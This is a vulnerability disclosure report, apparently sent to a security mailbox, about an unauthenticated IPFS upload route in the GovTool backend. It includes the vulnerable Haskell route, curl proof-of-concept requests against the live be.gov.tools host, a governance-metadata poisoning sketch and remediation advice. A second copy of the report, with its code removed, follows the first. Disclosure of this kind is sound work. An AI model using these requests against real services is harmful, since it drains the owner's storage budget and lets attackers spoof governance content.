Context
Received through the security mail
be.gov.tools (GovTool Haskell/Servant Backend) β Anonymous Internet Users Can Pin Arbitrary
Content Under Intersect's Pinata Identity at Will, Confirmed with a Real Pinned CID
Vulnerability Description
The GovTool Haskell/Servant backend exposes a POST /ipfs/upload route that accepts a text body (up to 500 KB)
and a fileName query parameter, then forwards the body directly to https://uploads.pinata.cloud/v3/files using
Intersect's server-side Pinata JWT. No authentication combinator is present on the route definition:
-- VVA/API.hs β no auth combinator on this route:
type VVAApi =
"ipfs"
:> "upload"
:> QueryParam "fileName" Text
:> ReqBody '[PlainText] Text
:> Post '[JSON] UploadResponse
-- Handler passes the JWT directly from config:
upload mFileName fileContentText = do
AppEnv {vvaConfig} <- ask
let vvaPinataJwt = pinataApiJwt vvaConfig
fileName = fromMaybe "data.txt" mFileName
when (BSL.length fileContent > 1024 * 512) $
throwError $ ValidationError "The uploaded file is larger than 500Kb"
eIpfsHash <- liftIO $ Ipfs.ipfsUpload vvaPinataJwt fileName fileContent
There is no authentication, no per-IP rate limit, no MIME or content filter, no CAPTCHA, and no virus/abuse scanner.
The 500 KB-per-request cap is the only constraint. An attacker with a small botnet can sustain over 1 GB/min of
content pinned permanently to Intersect's account.
Steps to reproduce
Proof of Concept
Step 1: Anonymous POST β content pinned, CID returned
$ curl -sS -X POST \
"https://be.gov.tools/ipfs/upload?fileName=aida-poc.txt" \
-H "Content-Type: text/plain;charset=utf-8" \
--data-binary "aida-pentest-noop-do-not-keep"
{"ipfsCid":"bafkreihr6qjccunhvcjjgiti6wundqbeph77h7bcpaatzinnd4fslvr2au"}
# HTTP 200 β no authentication challenged, no rate-limit header
Step 2: CID is permanently retrievable from public IPFS gateways
$ curl -sS -L "https://ipfs.io/ipfs/bafkreihr6qjccunhvcjjgiti6wundqbeph77h7bcpaatzinnd4fslvr2au"
aida-pentest-noop-do-not-keep # HTTP 200
$ curl -sS -L
"https://gateway.pinata.cloud/ipfs/bafkreihr6qjccunhvcjjgiti6wundqbeph77h7bcpaatzinnd4fslvr2au"
aida-pentest-noop-do-not-keep # HTTP 200
$ curl -sS -L "https://dweb.link/ipfs/bafkreihr6qjccunhvcjjgiti6wundqbeph77h7bcpaatzinnd4fslvr2au"
aida-pentest-noop-do-not-keep # HTTP 200
# Content confirmed as permanently pinned under Intersect's account.
# Resolves from ipfs.io (Protocol Labs), Pinata gateway, and dweb.link.
# The upload was not a no-op β the CID is pinned, not ephemeral.
# Content-Type guard (the only implemented control):
$ curl -sS -X POST "https://be.gov.tools/ipfs/upload?fileName=x" \
-H "Content-Type: text/plain" --data-binary "a"
# HTTP 415 Unsupported Media Type
# Route requires text/plain;charset=utf-8 β trivial to satisfy.
Governance Metadata Poisoning β Conceptual PoC
The Pinata account used by GovTool is the project's pinning provider for CIP-100 / CIP-108 governance metadata
anchors. An attacker can upload a manipulated metadata document and obtain a real CID anchored to Intersect's
account. Combined with a valid content hash, wallets that retrieve governance metadata via Intersect's gateway will
display attacker-chosen title, abstract, and rationale as if Intersect curated them:
# 1) Upload a manipulated CIP-108 governance action metadata document
$ curl -sS -X POST "https://be.gov.tools/ipfs/upload?fileName=gov-meta.json" \
-H "Content-Type: text/plain;charset=utf-8" \
--data-binary '{"title":"ATTACKER TITLE","abstract":"ATTACKER RATIONALE"}'
{"ipfsCid":"baf<attacker-chosen-cid>"}
# 2) Submit a Cardano governance action on-chain with:
# anchor_url = https://ipfs.io/ipfs/<attacker-chosen-cid>
# anchor_hash = blake2b-256(<the uploaded JSON>)
# The hash passes CIP-108 content-binding check; the wallet / dashboard
# renders "ATTACKER TITLE" and "ATTACKER RATIONALE" under the Intersect
# IPFS origin.
Actual behavior
Impact
β’ Direct financial cost β storage drain. Pinata charges per GB stored per month. With 500 KB per request and
no per-IP throttle, an attacker can sustain 100 MB/min from a single IP. A few hours of continuous abuse
exhausts Intersect's monthly storage budget, with overages billed to the organisation.
β’ Reputation laundering / legal exposure. Attackers can pin arbitrary content β CSAM, pirated media,
disinformation, malware payloads β under Intersect's paid Pinata identity. The resulting URLs are served from
Pinata's gateway and forensically tied to Intersect's account, exposing the organisation to DMCA takedowns, law
enforcement action, and reputational damage with no direct attacker attribution.
β’ Governance metadata poisoning. The same Pinata account is the project's IPFS provider for
CIP-100/108/119 governance metadata. An attacker can pin manipulated metadata with attacker-chosen title,
abstract, and rationale, obtain a real CID, and submit it as the anchor of a legitimate Cardano governance action.
Wallets and dashboards that resolve CIDs via Intersect's gateway display the attacker's text as if Intersect
authored it.
β’ Permanence. IPFS is content-addressed. Removing a pinned CID requires Intersect to manually unpin via the
Pinata dashboard. There is no upload-source audit log accessible to Intersect without querying Pinata's support.
β’ Pinata error body reflection. The handler reflects Pinata API error responses verbatim into the JSON
returned to the client (pinataResponse.body). If Pinata returns any header or body detail about the JWT, that
detail is forwarded to the attacker.
Expected behavior
Remediation
β’ Immediate (P0): Gate the route behind authentication. Add a CIP-30 signData wallet-signature check as an
auth combinator in the Servant route definition: require the client to sign the file's blake2b hash with their stake
key and pass the signature as an Authorization header. The Haskell backend verifies the signature before
calling Pinata. The GovTool frontend already has the CIP-30 wallet API in scope.
β’ Immediate (P0): Rotate the Pinata JWT. The current JWT was used to pin PoC content by an external
researcher. Rotate it in the Pinata dashboard and update pinataApiJwt in the production config. New JWT
should have narrowed permissions (upload-only, no delete/admin).
β’ Immediate (P0): Unpin the PoC artefact:
bafkreihr6qjccunhvcjjgiti6wundqbeph77h7bcpaatzinnd4fslvr2au (29 bytes, file name
aida-poc.txt). Search for it in the Pinata dashboard and review the surrounding pin timeline for any other
non-governance content.
β’ Short-Term: Enable Pinata's per-account upload-rate-limit feature from the Pinata dashboard as a
defence-in-depth layer, even after the Servant route is gated. Set a daily GB cap below the monthly plan limit.
β’ Short-Term: Add a MIME / content validation layer. Only accept bodies that parse as valid JSON satisfying the
CIP-100/108/119 metadata schema. Reject everything else before forwarding to Pinata.
β’ Long-Term: Log the source IP and file hash for every upload so abuse can be traced after the fact. Emit an
alert if more than N uploads arrive in a sliding window from the same IP or if total daily pinned bytes exceeds a
threshold.
Context
Received through the security mail
be.gov.tools (GovTool Haskell/Servant Backend) β Anonymous Internet Users Can Pin Arbitrary
Content Under Intersect's Pinata Identity at Will, Confirmed with a Real Pinned CID
Vulnerability Description
The GovTool Haskell/Servant backend exposes a POST /ipfs/upload route that accepts a text body (up to 500 KB)
and a fileName query parameter, then forwards the body directly to https://uploads.pinata.cloud/v3/files using
Intersect's server-side Pinata JWT. No authentication combinator is present on the route definition:
There is no authentication, no per-IP rate limit, no MIME or content filter, no CAPTCHA, and no virus/abuse scanner.
The 500 KB-per-request cap is the only constraint. An attacker with a small botnet can sustain over 1 GB/min of
content pinned permanently to Intersect's account.
Steps to reproduce
Proof of Concept
Step 1: Anonymous POST β content pinned, CID returned
Step 2: CID is permanently retrievable from public IPFS gateways
Governance Metadata Poisoning β Conceptual PoC
The Pinata account used by GovTool is the project's pinning provider for CIP-100 / CIP-108 governance metadata
anchors. An attacker can upload a manipulated metadata document and obtain a real CID anchored to Intersect's
account. Combined with a valid content hash, wallets that retrieve governance metadata via Intersect's gateway will
display attacker-chosen title, abstract, and rationale as if Intersect curated them:
Actual behavior
Impact
β’ Direct financial cost β storage drain. Pinata charges per GB stored per month. With 500 KB per request and
no per-IP throttle, an attacker can sustain 100 MB/min from a single IP. A few hours of continuous abuse
exhausts Intersect's monthly storage budget, with overages billed to the organisation.
β’ Reputation laundering / legal exposure. Attackers can pin arbitrary content β CSAM, pirated media,
disinformation, malware payloads β under Intersect's paid Pinata identity. The resulting URLs are served from
Pinata's gateway and forensically tied to Intersect's account, exposing the organisation to DMCA takedowns, law
enforcement action, and reputational damage with no direct attacker attribution.
β’ Governance metadata poisoning. The same Pinata account is the project's IPFS provider for
CIP-100/108/119 governance metadata. An attacker can pin manipulated metadata with attacker-chosen title,
abstract, and rationale, obtain a real CID, and submit it as the anchor of a legitimate Cardano governance action.
Wallets and dashboards that resolve CIDs via Intersect's gateway display the attacker's text as if Intersect
authored it.
β’ Permanence. IPFS is content-addressed. Removing a pinned CID requires Intersect to manually unpin via the
Pinata dashboard. There is no upload-source audit log accessible to Intersect without querying Pinata's support.
β’ Pinata error body reflection. The handler reflects Pinata API error responses verbatim into the JSON
returned to the client (pinataResponse.body). If Pinata returns any header or body detail about the JWT, that
detail is forwarded to the attacker.
Expected behavior
Remediation
β’ Immediate (P0): Gate the route behind authentication. Add a CIP-30 signData wallet-signature check as an
auth combinator in the Servant route definition: require the client to sign the file's blake2b hash with their stake
key and pass the signature as an Authorization header. The Haskell backend verifies the signature before
calling Pinata. The GovTool frontend already has the CIP-30 wallet API in scope.
β’ Immediate (P0): Rotate the Pinata JWT. The current JWT was used to pin PoC content by an external
researcher. Rotate it in the Pinata dashboard and update pinataApiJwt in the production config. New JWT
should have narrowed permissions (upload-only, no delete/admin).
β’ Immediate (P0): Unpin the PoC artefact:
bafkreihr6qjccunhvcjjgiti6wundqbeph77h7bcpaatzinnd4fslvr2au (29 bytes, file name
aida-poc.txt). Search for it in the Pinata dashboard and review the surrounding pin timeline for any other
non-governance content.
β’ Short-Term: Enable Pinata's per-account upload-rate-limit feature from the Pinata dashboard as a
defence-in-depth layer, even after the Servant route is gated. Set a daily GB cap below the monthly plan limit.
β’ Short-Term: Add a MIME / content validation layer. Only accept bodies that parse as valid JSON satisfying the
CIP-100/108/119 metadata schema. Reject everything else before forwarding to Pinata.
β’ Long-Term: Log the source IP and file hash for every upload so abuse can be traced after the fact. Emit an
alert if more than N uploads arrive in a sliding window from the same IP or if total daily pinned bytes exceeds a
threshold.